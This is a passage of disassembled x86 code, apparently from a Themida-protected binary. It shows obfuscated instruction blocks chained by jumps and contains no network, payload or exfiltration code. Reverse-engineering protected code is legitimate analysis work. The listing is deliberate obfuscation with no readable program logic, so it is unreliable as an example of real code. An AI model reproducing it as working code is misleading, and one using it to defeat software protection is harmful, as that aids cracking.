esp add eax, 4 jmp loc_5A8E54 ; --------------------------------------------------------------------------- loc_5A4898: ; CODE XREF: Themida_:005AB7B6j mov ecx, 57315691h shr ecx, 4 push ebp push ecx mov ecx, 50D074DAh neg ecx jns loc_59AA63 xor ecx, 4B7F7C49h jo loc_5A3835 push ebp mov ebp, 7E7E44F4h or ebp, 21603C66h xor ebp, 7C6E451Eh sub ecx, ebp pop ebp neg ecx xor ecx, 30C17A4Ch jmp loc_59B02C ; --------------------------------------------------------------------------- loc_5A48DD: ; CODE XREF: Themida_:0059AE3Ej sub esp, 4 mov [esp], eax mov eax, 475B5800h jmp loc_59D1D8 ; --------------------------------------------------------------------------- loc_5A48ED: ; CODE XREF: Themida_:005AF589j pop esi add ebx, 2 xchg ebx, [esp] mov esp, [esp] sar dword ptr [esp], cl pushf jmp loc_59CB00 ; --------------------------------------------------------------------------- loc_5A4903: ; CODE XREF: Themida_:00599AC7j pop ecx jmp loc_5AF2A7 ; --------------------------------------------------------------------------- lodsb xor al, bl jmp loc_5A52E0 ; --------------------------------------------------------------------------- loc_5A4911: ; CODE XREF: Themida_:0059D798j ; Themida_:005A8F2Bj push edi mov edi, 54CF55B1h sub [esp+8], edi push dword ptr [esp] pop edi push 2B31h jmp loc_5A2108 ; --------------------------------------------------------------------------- loc_5A4929: ; CODE XREF: Themida_:005A3576j pop ebp xor ebp, 0F9B7999h mov esi, [esp] jmp loc_59F444 ; --------------------------------------------------------------------------- loc_5A4938: ; CODE XREF: Themida_:005A635Aj mov al, dl mov ch, al pop eax pop edx mov ah, ch pop cx or ah, 1Eh add ah, 15h push edx jmp loc_5AA17D ; --------------------------------------------------------------------------- loc_5A494E: ; CODE XREF: Themida_:005AE099j push ebx jmp loc_59E4CD ; --------------------------------------------------------------------------- loc_5A4954: ; CODE XREF: Themida_:005A6C08j pop edx jmp loc_59DC2B ; --------------------------------------------------------------------------- loc_5A495A: ; CODE XREF: Themida_:005AA0C4j ; Themida_:005ABF54j sub eax, 0FD8129Eh jg loc_59EFDB xor eax, 1B8A5385h mov edi, eax pop eax jmp loc_59AE1C ; --------------------------------------------------------------------------- push esi loc_5A4973: ; CODE XREF: Themida_:00599F50j xor cl, 20h sub cl, 0B2h sub cl, 9Bh sub al, cl pop ecx add al, ch push edx push ebx mov bh, 0F1h mov dl, bh jmp loc_5A10F1 ; --------------------------------------------------------------------------- loc_5A498C: ; CODE XREF: Themida_:005AC66Fj jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A4991: ; CODE XREF: Themida_:005A4851j mov edi, edx mov edx, [esp] push ebx push esp mov ebx, [esp] add esp, 4 jmp loc_5A0C0F ; --------------------------------------------------------------------------- loc_5A49A3: ; CODE XREF: Themida_:005A7A6Dj sub ebx, 66CE398Dh or ebx, 51FE5C76h jnp loc_5A7D86 push ebp jmp loc_5983BE ; --------------------------------------------------------------------------- loc_5A49BB: ; CODE XREF: Themida_:005A89D6j mov bh, 93h inc bh jns loc_59944F add bh, 0B1h jnb loc_59EB3E neg bh push ax mov al, 45h jmp loc_59B1C7 ; --------------------------------------------------------------------------- loc_5A49D9: ; CODE XREF: Themida_:005A618Fj sub esp, 4 jmp loc_5AA7D2 ; --------------------------------------------------------------------------- loc_5A49E1: ; CODE XREF: Themida_:0059878Ej pop ebx xchg edx, [esp] jmp loc_5A5120 ; --------------------------------------------------------------------------- loc_5A49EA: ; CODE XREF: Themida_:005A5F13j mov ebx, [esp] add esp, 4 jmp loc_5ADC5D ; --------------------------------------------------------------------------- loc_5A49F5: ; CODE XREF: Themida_:005A2DE3j mov [esp], ebx mov bh, 2Bh push cx mov cl, bh not cl push eax jmp loc_5ADB16 ; --------------------------------------------------------------------------- loc_5A4A06: ; CODE XREF: Themida_:005A1197j inc edx jmp loc_599E61 ; --------------------------------------------------------------------------- loc_5A4A0C: ; CODE XREF: Themida_:005A0FAAj pop esp add eax, ecx jmp loc_5A3D42 ; --------------------------------------------------------------------------- loc_5A4A14: ; CODE XREF: Themida_:005AEE28j pop eax jmp loc_59FD6D ; --------------------------------------------------------------------------- loc_5A4A1A: ; CODE XREF: Themida_:0059872Cj xor ah, 59h jmp loc_5A984E ; --------------------------------------------------------------------------- loc_5A4A22: ; CODE XREF: Themida_:0059ED36j ; Themida_:005AE51Fj pop ecx inc esi sub esp, 4 mov [esp], edi mov edi, 69F65C4h add esi, edi pop edi add eax, esi pop esi xchg eax, [esp] pop esp shr eax, 0Bh xor ecx, eax push ebx push ebx push ecx push 99372DAh pop ecx shr ecx, 6 shr ecx, 5 sub esp, 4 mov [esp], eax push edi mov edi, 74275643h and edi, 15A76411h jz loc_59F6B4 inc edi xor edi, 5DB91CE3h jns loc_5AD26D not edi push ecx mov ecx, 47D687C8h sub edi, ecx loc_5A4A7C: ; CODE XREF: Themida_:005ACED0j xchg esi, [esp] pop esp mov [esp], edx push 21CFh mov [esp], esp jmp loc_59A4EE ; --------------------------------------------------------------------------- loc_5A4A90: ; CODE XREF: Themida_:005A7F63j mov esp, [esp] push esi push 5E5Ch mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp jmp loc_5A62A3 ; --------------------------------------------------------------------------- loc_5A4ABC: ; CODE XREF: Themida_:005A1966j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_5AA371 ; --------------------------------------------------------------------------- loc_5A4AD0: ; CODE XREF: Themida_:0059E1E3j sub eax, 71A46F59h sub edi, eax pop eax jmp loc_5A4C4A ; --------------------------------------------------------------------------- loc_5A4ADD: ; CODE XREF: Themida_:005AB961j add eax, edx pop edx sub dword ptr [esp+4], 6EA8753Eh push esi mov esi, 1AE846F8h add dword ptr [esp+8], 37380686h jmp loc_5995AC ; --------------------------------------------------------------------------- loc_5A4AFB: ; CODE XREF: Themida_:005A7557j add ebx, 66942AC8h jmp loc_598510 ; --------------------------------------------------------------------------- loc_5A4B06: ; CODE XREF: Themida_:005A6454j shl ebx, 3 jz loc_5A8AD8 add ebx, 180241C0h mov esi, ebx pop ebx add esi, 7B757AEh jnb loc_59E074 jmp loc_5A4ECA ; --------------------------------------------------------------------------- push 43DAh pop eax loc_5A4B2F: ; CODE XREF: Themida_:0059BC25j sub esi, 1682034Fh sub esi, 0ED89CB7Ah add eax, 308F19EAh sub eax, esi push edi mov edi, 58B63ACDh shr edi, 3 not edi sub esp, 4 mov [esp], eax mov eax, 6490458Dh sub eax, 56D767D9h jmp loc_59B021 ; --------------------------------------------------------------------------- loc_5A4B65: ; CODE XREF: Themida_:0059A1FCj sub ecx, 1 add ecx, 0EF38E5FFh add ebx, 1D0B5241h sub ebx, ecx jmp loc_59E737 ; --------------------------------------------------------------------------- loc_5A4B7E: ; CODE XREF: Themida_:005A4179j ; Themida_:005A65E6j add edx, 749C4715h jl loc_5A3A49 jmp loc_5986AE ; --------------------------------------------------------------------------- loc_5A4B8F: ; CODE XREF: Themida_:005A40ADj sub esi, 768F7F10h add esi, eax add esi, 768F7F10h jmp loc_5984FC ; --------------------------------------------------------------------------- loc_5A4BA2: ; CODE XREF: Themida_:005996E9j mov bl, ah mov eax, [esp] add esp, 4 mov dl, bl pop ebx sub bl, 68h sub bl, dl add bl, 68h pop edx movzx eax, al push dword ptr [edi+eax*4] jmp loc_5A3308 ; --------------------------------------------------------------------------- loc_5A4BC1: ; CODE XREF: Themida_:0059FB4Cj xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov cx, [esp] push 2EA0h mov [esp], edx jmp loc_5A6F73 ; --------------------------------------------------------------------------- loc_5A4BDB: ; CODE XREF: Themida_:005A3E31j ; Themida_:005AEAF0j mov esi, esp jmp loc_5AD71D ; --------------------------------------------------------------------------- loc_5A4BE2: ; CODE XREF: Themida_:005AE960j mov ebx, [esp] add esp, 4 sub [edi+20h], eax push dword ptr [esp] pop eax add esp, 4 loc_5A4BF8: ; CODE XREF: Themida_:0059BD87j ; Themida_:005A7806j push dword ptr [esp] pop ebx push ecx mov ecx, esp jmp loc_5A90F1 ; --------------------------------------------------------------------------- loc_5A4C04: ; CODE XREF: Themida_:005A0958j ; Themida_:005A167Bj pop esp movsx ecx, al jmp loc_5A9408 ; --------------------------------------------------------------------------- loc_5A4C0D: ; CODE XREF: Themida_:005A6D3Ej mov [esp], esp add dword ptr [esp], 4 jmp loc_5AC622 ; --------------------------------------------------------------------------- loc_5A4C1C: ; CODE XREF: Themida_:0059C012j ; Themida_:005AC486j pop eax and edx, 61910B7Eh jmp loc_59F860 ; --------------------------------------------------------------------------- loc_5A4C28: ; CODE XREF: Themida_:005AE9D4j mov [esp], ecx push 79941815h pop ecx jmp loc_5A6330 ; --------------------------------------------------------------------------- loc_5A4C36: ; CODE XREF: Themida_:005A17CAj sub esp, 4 mov [esp], eax mov ah, 39h xor cl, ah pop eax push eax jmp loc_5A2D2A ; --------------------------------------------------------------------------- loc_5A4C4A: ; CODE XREF: Themida_:005A4AD8j add edx, edi pop edi add edx, edi sub edx, 5FA1609Dh push ebx mov bh, al push eax mov eax, 0 add eax, 4F2647DDh jmp loc_5A5067 ; --------------------------------------------------------------------------- loc_5A4C68: ; CODE XREF: Themida_:0059AC4Bj dec esi dec esi add esi, 229972Fh sub ebx, esi pop esi jmp loc_5A7D4A ; --------------------------------------------------------------------------- loc_5A4C78: ; CODE XREF: Themida_:005AD291j xor ecx, eax pop eax mov ebx, ecx jmp loc_5A9C28 ; --------------------------------------------------------------------------- loc_5A4C82: ; CODE XREF: Themida_:005AA643j add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax push ebx mov ebx, 5A5F5CF7h jmp loc_5A7B25 ; --------------------------------------------------------------------------- loc_5A4C9D: ; CODE XREF: Themida_:005A3B41j mov ebx, 1AA31A3h add eax, ebx pop ebx jmp loc_5A2F3C ; --------------------------------------------------------------------------- loc_5A4CAA: ; CODE XREF: Themida_:005AA073j push 60FDh jmp loc_5A0EE8 ; --------------------------------------------------------------------------- loc_5A4CB4: ; CODE XREF: Themida_:005A11DEj push dword ptr [esp] pop edi jmp loc_5A99B4 ; --------------------------------------------------------------------------- loc_5A4CBD: ; CODE XREF: Themida_:005A6E38j pop ebx push ecx jmp loc_59AC3B ; --------------------------------------------------------------------------- loc_5A4CC4: ; CODE XREF: Themida_:0059AADDj add ebp, 4 add ebp, 4 jmp loc_5A5ECD ; --------------------------------------------------------------------------- loc_5A4CD5: ; CODE XREF: Themida_:0059F93Cj push 3AC9h mov [esp], edi push ebp push 6CA96F5Ch pop ebp and ebp, 1030713Bh jl loc_59D78D neg ebp add ebp, 48A56DFCh mov edi, ebp pop ebp neg edi push ecx push esi push 5B576F25h pop esi shr esi, 8 add esi, 4CB20BBCh sub esi, 95927013h mov ecx, esi pop esi xor edi, ecx pop ecx jmp loc_5A704B ; --------------------------------------------------------------------------- push dword ptr [edi+40h] jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A4D27: ; CODE XREF: Themida_:005AC204j shr ebp, 1 add ebp, 0D9AED867h add edx, ebp pop ebp sub ecx, edx jmp loc_5ABB37 ; --------------------------------------------------------------------------- loc_5A4D39: ; CODE XREF: Themida_:005AA2CBj ; Themida_:005AD9A3j add ecx, 2E537FDDh add ecx, edx sub ecx, 2E537FDDh pop edx push edx mov edx, 4 add ecx, edx jmp loc_59F72B ; --------------------------------------------------------------------------- loc_5A4D55: ; CODE XREF: Themida_:005A7697j sub dh, 0F5h add dh, ch add dh, 0F5h jmp loc_5A9A91 ; --------------------------------------------------------------------------- loc_5A4D62: ; CODE XREF: Themida_:005A9A3Aj push eax mov eax, 279F35BAh add eax, 15BA4F9Ah add eax, 0C2A67AADh jmp loc_5A8567 ; --------------------------------------------------------------------------- loc_5A4D77: ; CODE XREF: Themida_:0059EE48j mov ebp, 4E082551h inc ebp add ebp, 0B1F7DAB2h add ecx, ebp jmp loc_5A7D0A ; --------------------------------------------------------------------------- loc_5A4D8A: ; CODE XREF: Themida_:005AD91Dj pop dword ptr [esp] mov esp, [esp] jmp loc_5A36FE ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] jmp loc_5AB772 ; --------------------------------------------------------------------------- loc_5A4DA0: ; CODE XREF: Themida_:005985F1j push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop ebp jmp loc_5A1A48 ; --------------------------------------------------------------------------- loc_5A4DC0: ; CODE XREF: Themida_:005A5493j push esi mov esi, 1AC71B6Ch jmp loc_5AD9DD ; --------------------------------------------------------------------------- loc_5A4DCB: ; CODE XREF: Themida_:005AC3B9j mov edx, 1F550FCBh jmp loc_5A02B9 ; --------------------------------------------------------------------------- loc_5A4DD5: ; CODE XREF: Themida_:005A80D4j js loc_5A306B push 79D3h mov [esp], edi mov edi, 4FEA3936h sub esp, 4 mov [esp], ebx push esp jmp loc_59E9B8 ; --------------------------------------------------------------------------- lodsb xor al, bl push 2901h mov [esp], ebp sub esp, 4 mov [esp], esp push ecx mov ecx, 4 add [esp+4], ecx pop ecx mov ebp, [esp] add esp, 4 jmp loc_59BA05 ; --------------------------------------------------------------------------- loc_5A4E21: ; CODE XREF: Themida_:005997A5j xor ebp, 2FB67178h add ebp, 54E09843h add esi, 63660AF6h add esi, ebp sub esi, 63660AF6h pop ebp add esi, 602009FBh add esi, edx sub esi, 602009FBh jmp loc_5ACD90 ; --------------------------------------------------------------------------- loc_5A4E4F: ; CODE XREF: Themida_:005A103Bj mov [esp], edi mov edi, esp jmp loc_5A30F3 ; --------------------------------------------------------------------------- loc_5A4E59: ; CODE XREF: Themida_:0059DF25j ; Themida_:005A119Ej add esp, 4 push 2410h mov [esp], eax jmp loc_5AF075 ; --------------------------------------------------------------------------- loc_5A4E69: ; CODE XREF: Themida_:0059BB54j jmp loc_5A8A6B ; --------------------------------------------------------------------------- loc_5A4E6E: ; CODE XREF: Themida_:005A7CD6j push esi push edx push 4AA27CD3h pop edx xor edx, 0A012901h sub edx, 631877FBh mov esi, edx pop edx jmp loc_5AA5E6 ; --------------------------------------------------------------------------- loc_5A4E8A: ; CODE XREF: Themida_:0059C22Ej push dword ptr [esp] pop ecx push eax jmp loc_59EA76 ; --------------------------------------------------------------------------- loc_5A4E94: ; CODE XREF: Themida_:005A1B03j jz loc_59E407 add ecx, 5EC81022h mov ebx, ecx pop ecx neg ebx sub esp, 4 jmp loc_59D529 ; --------------------------------------------------------------------------- loc_5A4EB0: ; CODE XREF: Themida_:005A645Bj push ecx mov cl, 0E2h jmp loc_5A6844 ; --------------------------------------------------------------------------- loc_5A4EB8: ; CODE XREF: Themida_:005A270Ej ; Themida_:005A39F9j or ebp, 568A3A16h jmp loc_5AA74A ; --------------------------------------------------------------------------- loc_5A4EC3: ; CODE XREF: Themida_:005A637Cj mov ebp, esp jmp loc_59C618 ; --------------------------------------------------------------------------- loc_5A4ECA: ; CODE XREF: Themida_:0059B235j ; Themida_:005A4B24j sub esp, 4 mov [esp], eax mov ah, 0ECh push edx mov dh, 0C8h or dh, 32h and dh, 57h shr dh, 2 neg dh push ecx jmp loc_5A3BF0 ; --------------------------------------------------------------------------- loc_5A4EE9: ; CODE XREF: Themida_:005AC8C1j jmp loc_5A557A ; --------------------------------------------------------------------------- loc_5A4EEE: ; CODE XREF: Themida_:005AB1BBj pop dword ptr [esp] pop esp jmp loc_5A6C42 ; --------------------------------------------------------------------------- loc_5A4EF7: ; CODE XREF: Themida_:0059E85Ej xchg ebp, [esp] pop esp mov [esp], esi jmp loc_59B8CA ; --------------------------------------------------------------------------- loc_5A4F03: ; CODE XREF: Themida_:005A2E3Aj sub esi, 53B1397Bh sub esi, 0E4F43654h add eax, esi pop esi sub esp, 4 mov [esp], eax xor dword ptr [esp], 48363CF6h mov esi, [esp] add esp, 4 push edi mov edi, 2F02F11h shl edi, 2 xor edi, 43F680B2h xor esi, edi jmp loc_5A0AA9 ; --------------------------------------------------------------------------- loc_5A4F41: ; CODE XREF: Themida_:005ACFF0j ; Themida_:loc_5AD96Fj push ebx mov ebx, 498513F0h add ebx, 0FFFFFFFFh and ebx, 1AD812DAh add ebx, 0F77FED3Ah add ebp, ebx pop ebx push 4974h mov [esp], ecx jmp loc_5A52EA ; --------------------------------------------------------------------------- loc_5A4F66: ; CODE XREF: Themida_:005A96D0j push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] add eax, 4 add eax, 2 xor eax, [esp] jmp loc_5A293E ; --------------------------------------------------------------------------- loc_5A4F81: ; CODE XREF: Themida_:00598769j sub ebx, 1DB97310h mov edx, [esp] push eax jmp loc_5AAB68 ; --------------------------------------------------------------------------- loc_5A4F90: ; CODE XREF: Themida_:005A28D9j shl cl, 7 jmp loc_598F13 ; --------------------------------------------------------------------------- loc_5A4F98: ; CODE XREF: Themida_:0059B9C8j and edx, 5CA5311Eh push ecx mov ecx, 5F9A6739h sub esp, 4 mov [esp], edi jmp loc_5A088F ; --------------------------------------------------------------------------- loc_5A4FAF: ; CODE XREF: Themida_:0059E8F9j ; Themida_:005A80AEj add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_5A12ED ; --------------------------------------------------------------------------- loc_5A4FC0: ; CODE XREF: Themida_:0059DF47j xor edi, 71C61AC3h jbe loc_5A6055 add edi, 0F8160DDCh mov edx, edi jmp loc_5A08F1 ; --------------------------------------------------------------------------- loc_5A4FD9: ; CODE XREF: Themida_:0059AB9Aj or ecx, 55136896h jmp loc_5A7CEE ; --------------------------------------------------------------------------- loc_5A4FE4: ; CODE XREF: Themida_:005A4798j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push ebp mov ebp, esp add ebp, 4 push 6B7Bh mov [esp], edi mov edi, esp add edi, 4 push edx mov edx, 243F75BDh jmp loc_5A760F ; --------------------------------------------------------------------------- loc_5A501B: ; CODE XREF: Themida_:0059C4E3j not esi sub esi, 6859351Fh sub esi, 0FFFFFFFFh push eax mov eax, 873D9F35h sub esi, eax pop eax add eax, esi pop esi sub eax, ebx push edx mov edx, 116F39D4h sub eax, edx jmp loc_59A822 ; --------------------------------------------------------------------------- loc_5A5041: ; CODE XREF: Themida_:005A7CE9j sub ecx, 88724CFEh add ebx, 104A07ACh add ebx, ecx sub ebx, 104A07ACh jmp loc_59FFC8 ; --------------------------------------------------------------------------- loc_5A505A: ; CODE XREF: Themida_:0059FA1Bj mov edi, ebx mov ebx, [esp] push ebx mov ebx, esp jmp loc_5A0A9E ; --------------------------------------------------------------------------- loc_5A5067: ; CODE XREF: Themida_:005A4C63j add eax, edx push edi mov edi, 4F2647DDh sub eax, edi pop edi mov [eax], bh jmp loc_5A5CB0 ; --------------------------------------------------------------------------- loc_5A5079: ; CODE XREF: Themida_:005A4716j push ebx push dword ptr [esp+4] pop ebx jmp loc_5A1D78 ; --------------------------------------------------------------------------- loc_5A5084: ; CODE XREF: Themida_:005AA8BDj add ebx, 4 xchg ebx, [esp] jmp loc_59C6E4 ; --------------------------------------------------------------------------- loc_5A5092: ; CODE XREF: Themida_:0059A3E3j sub esp, 4 mov [esp], eax push ebp jmp loc_5A0185 ; --------------------------------------------------------------------------- loc_5A509E: ; CODE XREF: Themida_:005A4361j add eax, 48AD118Ch push edx mov edx, esp push ebx mov ebx, 4 add edx, ebx pop ebx jmp loc_5A50D3 ; --------------------------------------------------------------------------- loc_5A50B4: ; CODE XREF: Themida_:00598D7Bj ; Themida_:005AC801j shr esi, 7 neg esi jp loc_59ED04 add esi, 22C8E3C7h and cl, 6Eh pop esi loc_5A50C9: ; CODE XREF: Themida_:005A10ECj mov ebx, 0D5D24BB5h jmp loc_5A8205 ; --------------------------------------------------------------------------- loc_5A50D3: ; CODE XREF: Themida_:005A50AFj push edi jmp loc_59B3F6 ; --------------------------------------------------------------------------- loc_5A50D9: ; CODE XREF: Themida_:005AECE4j mov eax, esp jmp loc_5A22CD ; --------------------------------------------------------------------------- push ebp push 2234h mov [esp], ebx mov ebx, 2C89768Dh mov ebp, ebx push dword ptr [esp] pop ebx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub esp, 4 mov [esp], esi mov esi, 7DF6E6Ch xor esi, 0D4A9E31Fh jmp loc_5A9547 ; --------------------------------------------------------------------------- loc_5A5120: ; CODE XREF: Themida_:005A49E5j mov esp, [esp] mov [esp], ebx push esp pop ebx jmp loc_59C353 ; --------------------------------------------------------------------------- loc_5A512D: ; CODE XREF: Themida_:005ADC0Dj mov esi, 1D834633h push ebx mov ebx, 2B371C6Ah jmp loc_5A838F ; --------------------------------------------------------------------------- loc_5A513D: ; CODE XREF: Themida_:005AA6E2j pop ebp xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp xchg ebx, [esp] mov esp, [esp] push dword ptr [esp] mov eax, [esp] push ebp push esp push dword ptr [esp] pop ebp push edx mov edx, esp jmp loc_5A71B4 ; --------------------------------------------------------------------------- loc_5A5162: ; CODE XREF: Themida_:005AB6FFj mov [esp], edi mov edi, edx mov ebx, edi pop edi pop edx jmp loc_59CD4F ; --------------------------------------------------------------------------- loc_5A5170: ; CODE XREF: Themida_:005AC24Bj push dword ptr [esp] pop ebx push ebx mov ebx, esp sub esp, 4 jmp loc_59C29A ; --------------------------------------------------------------------------- loc_5A517F: ; CODE XREF: Themida_:005A7158j xor ebp, [esp] jmp loc_59DB67 ; --------------------------------------------------------------------------- loc_5A5187: ; CODE XREF: Themida_:005ACF13j push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add ebx, edx push dword ptr [esp] pop edx add esp, 4 add ebx, 2 push ebx push dword ptr [esp+4] jmp loc_599E99 ; --------------------------------------------------------------------------- loc_5A51B2: ; CODE XREF: Themida_:005AB3E0j push eax mov eax, 3BA85537h shl eax, 7 shl eax, 6 xor eax, 0AA6E004h add ecx, eax jmp loc_599F9E ; --------------------------------------------------------------------------- loc_5A51CA: ; CODE XREF: Themida_:005A14A0j pop edi inc ebx push ecx mov ecx, 3D8B4462h xor ebx, ecx pop ecx add esi, ebx jmp loc_5AB6AA ; --------------------------------------------------------------------------- loc_5A51DC: ; CODE XREF: Themida_:005AEDF7j pop edi jmp loc_5A9652 ; --------------------------------------------------------------------------- loc_5A51E2: ; CODE XREF: Themida_:005A7C97j add edi, 466673AAh jnp loc_5A3636 sub edi, 48DC7EE8h mov ebx, edi jmp loc_59B37F ; --------------------------------------------------------------------------- push ecx loc_5A51FC: ; CODE XREF: Themida_:005AE5C1j push 1C55h mov [esp], ebp mov ebp, 1A0B18D9h push edi mov edi, 1A0B18D5h sub ebp, edi pop edi jmp loc_59DA8F ; --------------------------------------------------------------------------- loc_5A5217: ; CODE XREF: Themida_:005A8531j xor ebx, 18A25B1Dh mov ecx, ebx pop ebx jmp loc_59EF24 ; --------------------------------------------------------------------------- mov ax, [esp] push 0CF4h mov [esp], ebx push 313Ch mov [esp], esp add dword ptr [esp], 4 pop ebx push edi push ebx push 52A12154h mov ebx, [esp] jmp loc_5A9701 ; --------------------------------------------------------------------------- loc_5A524D: ; CODE XREF: Themida_:005A0683j jg loc_5AC5D2 jmp loc_5ABB16 ; --------------------------------------------------------------------------- loc_5A5258: ; CODE XREF: Themida_:005A4270j add eax, ecx jmp loc_59FBC4 ; --------------------------------------------------------------------------- loc_5A525F: ; CODE XREF: Themida_:005AB2AAj pop eax push edx mov dh, ch push ecx push ebx mov bl, dh mov cl, bl pop ebx mov [edi+eax*4], cl pop ecx pop edx mov ecx, [esp] jmp loc_5ABAF9 ; --------------------------------------------------------------------------- loc_5A5277: ; CODE XREF: Themida_:0059BC34j xor [esp], edx xor edx, [esp] mov esp, [esp] and esi, 42B94FF1h jmp loc_5AF311 ; --------------------------------------------------------------------------- loc_5A528B: ; CODE XREF: Themida_:0059B6B0j push 7853h jmp loc_5A1BAF ; --------------------------------------------------------------------------- push 319Ch mov [esp], eax sub esp, 4 jmp loc_5A72DD ; --------------------------------------------------------------------------- loc_5A52A8: ; CODE XREF: Themida_:005A08B1j or eax, 0A9E702Dh push ecx mov ecx, 0DE216C28h jmp loc_59A09E ; --------------------------------------------------------------------------- loc_5A52B8: ; CODE XREF: Themida_:0059E9A5j shr ah, 1 jp loc_5AA473 jmp loc_5A8FDE ; --------------------------------------------------------------------------- loc_5A52C5: ; CODE XREF: Themida_:00599BDDj pop ebx sub ebp, 609F4F07h jle loc_5A3684 neg ebp jg loc_5ADF19 jmp loc_5A912F ; --------------------------------------------------------------------------- push ecx loc_5A52E0: ; CODE XREF: Themida_:005A490Cj push 11E7h jmp loc_5A9A89 ; --------------------------------------------------------------------------- loc_5A52EA: ; CODE XREF: Themida_:005A4F61j push 56EBh jmp loc_5A564A ; --------------------------------------------------------------------------- loc_5A52F4: ; CODE XREF: Themida_:005AD1F3j mov esp, [esp] bts [esp], ax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A5302: ; CODE XREF: Themida_:0059D825j sub ebx, 4 jmp loc_59B22E ; --------------------------------------------------------------------------- loc_5A530A: ; CODE XREF: Themida_:005A99AFj ; Themida_:005A9F0Aj pop esp jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A5310: ; CODE XREF: Themida_:005A092Bj shr edx, 4 jmp loc_5A2D11 ; --------------------------------------------------------------------------- loc_5A5318: ; CODE XREF: Themida_:005AD183j pop ecx jmp loc_5A3CC3 ; --------------------------------------------------------------------------- loc_5A531E: ; CODE XREF: Themida_:005A08E5j mov [esp], edi mov edi, esp jmp loc_5AAECD ; --------------------------------------------------------------------------- loc_5A5328: ; CODE XREF: Themida_:0059E087j sub edx, 4CE67444h shl edx, 8 jns loc_59DC0A jmp loc_5A0421 ; --------------------------------------------------------------------------- loc_5A533C: ; CODE XREF: Themida_:005A2298j push 68B85815h pop eax push eax inc dword ptr [esp] pop eax jmp loc_5A9AA5 ; --------------------------------------------------------------------------- loc_5A534C: ; CODE XREF: Themida_:005A85AAj mov eax, [esp] add esp, 4 jmp loc_59C374 ; --------------------------------------------------------------------------- lodsd push 3535h mov [esp], ebp mov ebp, 4AE65506h add eax, 5ADF77EBh push edx mov edx, 76CD02EEh add edx, 3EFD2E94h jmp loc_59EF11 ; --------------------------------------------------------------------------- loc_5A537B: ; CODE XREF: Themida_:0059D882j push 6ECFh mov [esp], esi push dword ptr [esp+4] jmp loc_5AA4C8 ; --------------------------------------------------------------------------- loc_5A538C: ; CODE XREF: Themida_:0059BA28j mov dl, 2 jmp loc_5A9178 ; --------------------------------------------------------------------------- loc_5A5393: ; CODE XREF: Themida_:00598CAEj ; Themida_:005A5ED6j mov esp, [esp] sub esp, 4 mov [esp], ecx push 495Ch mov [esp], esi push 6DE22DC9h push dword ptr [esp] pop esi jmp loc_5A622A ; --------------------------------------------------------------------------- loc_5A53B5: ; CODE XREF: Themida_:005A6B5Ej mov bl, 0B9h add bl, 38h add bl, 0BEh xor bl, 57h sub cl, bl pop ebx mov dx, [esp] jmp loc_5A1036 ; --------------------------------------------------------------------------- loc_5A53CC: ; CODE XREF: Themida_:005AA623j push ecx push edi push 73953FB1h mov edi, [esp] add esp, 4 push ecx mov ecx, 6FAA4F8Dh xor edi, ecx jmp loc_5AA53A ; --------------------------------------------------------------------------- loc_5A53E9: ; CODE XREF: Themida_:0059E4F1j ; Themida_:0059EFB1j sub edi, ebx pop ebx jmp loc_5AE572 ; --------------------------------------------------------------------------- loc_5A53F1: ; CODE XREF: Themida_:0059B317j pop eax not eax inc eax push edi mov edi, 356E453Bh add edi, 35AF1C1h add eax, edi pop edi push eax pop ecx jmp loc_5AAF82 ; --------------------------------------------------------------------------- loc_5A540B: ; CODE XREF: Themida_:0059935Aj mov [esp], ecx push dword ptr [esp+4] jmp loc_59FB59 ; --------------------------------------------------------------------------- loc_5A5417: ; CODE XREF: Themida_:005A6507j pop edx add esp, 4 push 52D3h mov [esp], esi mov esi, esp jmp loc_5AF185 ; --------------------------------------------------------------------------- loc_5A542D: ; CODE XREF: Themida_:005A8880j mov ecx, [esp] jmp loc_59F524 ; --------------------------------------------------------------------------- loc_5A5435: ; CODE XREF: Themida_:005990D5j mov ecx, 106B5BEAh or esi, ecx pop ecx push eax mov eax, 2CD67760h add esi, eax mov eax, [esp] add esp, 4 jmp loc_5AD851 ; --------------------------------------------------------------------------- loc_5A5453: ; CODE XREF: Themida_:005AA5E1j pop eax add ebp, ebx mov ebx, [esp] jmp loc_5A3422 ; --------------------------------------------------------------------------- loc_5A545E: ; CODE XREF: Themida_:005ACC94j xchg ebx, [esp] mov esp, [esp] or eax, eax jz loc_5990A9 push dword ptr [edi+1Ch] push ebp push ebx push 7E5776C1h pop ebx sub esp, 4 mov [esp], edi push 818h mov [esp], esi mov esi, 2CA45DAh mov edi, esi pop esi shr edi, 3 jnz loc_5A4DC0 push esi mov esi, 1AC71B6Ch jmp loc_5A5E08 ; --------------------------------------------------------------------------- loc_5A54A4: ; CODE XREF: Themida_:0059D788j xchg esi, [esp] pop esp jmp loc_5A7D86 ; --------------------------------------------------------------------------- loc_5A54AD: ; CODE XREF: Themida_:0059D26Aj ; Themida_:005A7458j not eax or eax, 48C12A85h jmp loc_59897C ; --------------------------------------------------------------------------- loc_5A54B9: ; CODE XREF: Themida_:0059B9ABj pop edi push 3840h mov [esp], esi push ecx mov ecx, 4AA54861h mov esi, 4AA54865h sub esi, ecx jmp loc_5A2CD4 ; --------------------------------------------------------------------------- loc_5A54D4: ; CODE XREF: Themida_:0059A550j mov [esp], eax push ebp jmp loc_59D85F ; --------------------------------------------------------------------------- loc_5A54DD: ; CODE XREF: Themida_:005ADD93j mov ebp, 4 add ebx, ebp pop ebp jmp loc_5ADA37 ; --------------------------------------------------------------------------- loc_5A54EA: ; CODE XREF: 